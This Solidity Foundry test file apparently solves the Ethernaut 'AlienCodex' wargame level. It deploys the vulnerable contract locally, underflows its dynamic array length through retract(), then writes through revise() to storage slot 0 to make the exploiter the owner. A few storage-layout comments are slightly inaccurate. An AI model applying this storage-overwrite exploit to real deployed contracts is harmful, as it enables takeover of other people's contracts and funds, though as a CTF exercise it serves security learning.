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| // SPDX-License-Identifier: GPL-3.0 | ||
| pragma solidity ^0.8.0; | ||
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| import '@forge-std/Test.sol'; | ||
| import '@forge-std/console2.sol'; | ||
|
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| contract AlienCodexExploit is Test { | ||
| address deployer = makeAddr('deployer'); | ||
| address exploiter = makeAddr('exploiter'); | ||
|
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| function setUp() public {} | ||
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| function testExploit() public { | ||
| // The AlienCodex contract requires solidity version ^0.5.0 but forge-std only supports >0.6.2. | ||
| // Here is a dirty hack to deploy the contract with a greater solidity version. | ||
| // Note: it should run in the same function as the exploit, not in the `setUp` function. | ||
| vm.startPrank(deployer); | ||
| bytes memory bytecode = abi.encodePacked( | ||
| vm.getCode('./out/AlienCodex.sol/AlienCodex.json') | ||
| ); | ||
| address target; | ||
| assembly { | ||
| target := create(0, add(bytecode, 0x20), mload(bytecode)) | ||
| } | ||
| console2.log('Target contract deployed'); | ||
| vm.stopPrank(); | ||
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| // Check that the current owner is the deployer. | ||
| (bool success, bytes memory returnData) = address(target).call( | ||
| abi.encodeWithSignature('owner()') | ||
| ); | ||
| assertTrue(success); | ||
| address owner; | ||
| if (returnData.length > 0) { | ||
| owner = address( | ||
| uint160(bytes20(uint160(uint256(bytes32(returnData)) << 0))) | ||
| ); | ||
| //owner = abi.decode(returnData, (address)); | ||
| } | ||
| assertEq(owner, deployer); | ||
| console2.log('Current owner: %s', owner); | ||
|
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| // Perform the exploit. | ||
| // The AlienCodex contract inherits the storage of the Ownable contract. | ||
|
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| // The Ownable contract has the following storage layout: | ||
| // - slot0: address private _owner | ||
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| // The AlienCodex contract has thus the following storage layout: | ||
| // - slot0: address private _owner (Ownable storage) -> 20 bytes | ||
| // - slot0: bool public contact -> 1 byte | ||
| // - slot1: length of the bytes32[] public codex dynamic array | ||
| // - slot keccak256(1): first element of the array | ||
| // - slot keccak256(2): second element of the array | ||
| // ... | ||
|
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||
| // Here is an example: | ||
| // - slot0: 0x7f1234567890123456789012345678901234567890000000000000000000000001 | ||
| // with address private owner: 0x7f123456789012345678901234567890123456789. | ||
| // and bool public contact: 0x01 (padded with zeros). | ||
| // - slot1: 0x0000000000000000000000000000000000000000000000000000000000000003 | ||
| // which represents the length of the array: 3 | ||
| // - slot keccak256(slot_number) or slot keccak256(1)=0xa5f3...: 0x1111111111111111111111111111111111111111111111111111111111111111 (random 32-byte value) | ||
| // - slot keccak256(1)+1: 0x2222222222222222222222222222222222222222222222222222222222222222 | ||
| // - slot keccak256(1)+2: 0x3333333333333333333333333333333333333333333333333333333333333333 | ||
|
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| // The goal is to use the `retract` method to reduce the size of the dynamic | ||
| // array to modify the slot0 value (owner). | ||
| vm.startPrank(exploiter); | ||
| // Make contact to be able to pass the `contacted` modifier. | ||
| (success, ) = address(target).call( | ||
| abi.encodeWithSignature('makeContact()') | ||
| ); | ||
| assertTrue(success); | ||
|
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||
| // The codex array is empty, thus codex.length is equal to zero. | ||
| // Since we are using solidity ^0.5.0, we can trigger an underflow by substracting one from zero. | ||
| (success, ) = address(target).call(abi.encodeWithSignature('retract()')); // codex.length is now equal to 2^256 - 1. | ||
| assertTrue(success); | ||
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| // The codex dynamic array can now be used to access any variables stored in the contract. | ||
| // codex[0] refers to slot keccak256(1) | ||
| // codex[1] refers to slot keccak256(1)+1 | ||
| // codex[2^256 - 1 - uint(keccak256(1))] refers to slot 2^256 - 1 | ||
| // codex[2^256 - 1 - uint(keccak256(1)) + 1] refers to slot 0 | ||
| uint256 index = ((2 ** 256) - 1) - uint(keccak256(abi.encode(1))) + 1; | ||
| (success, ) = address(target).call( | ||
| abi.encodeWithSignature( | ||
| 'revise(uint256,bytes32)', | ||
| index, | ||
| bytes32(uint256(uint160(exploiter))) | ||
| ) | ||
| ); | ||
| assertTrue(success); | ||
| vm.stopPrank(); | ||
|
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| // Check that the new owner is the exploiter. | ||
| (success, returnData) = address(target).call( | ||
| abi.encodeWithSignature('owner()') | ||
| ); | ||
| assertTrue(success); | ||
| if (returnData.length > 0) { | ||
| owner = abi.decode(returnData, (address)); | ||
| } | ||
| assertEq(owner, exploiter); | ||
| console2.log('New owner: %s', owner); | ||
| } | ||
| } |
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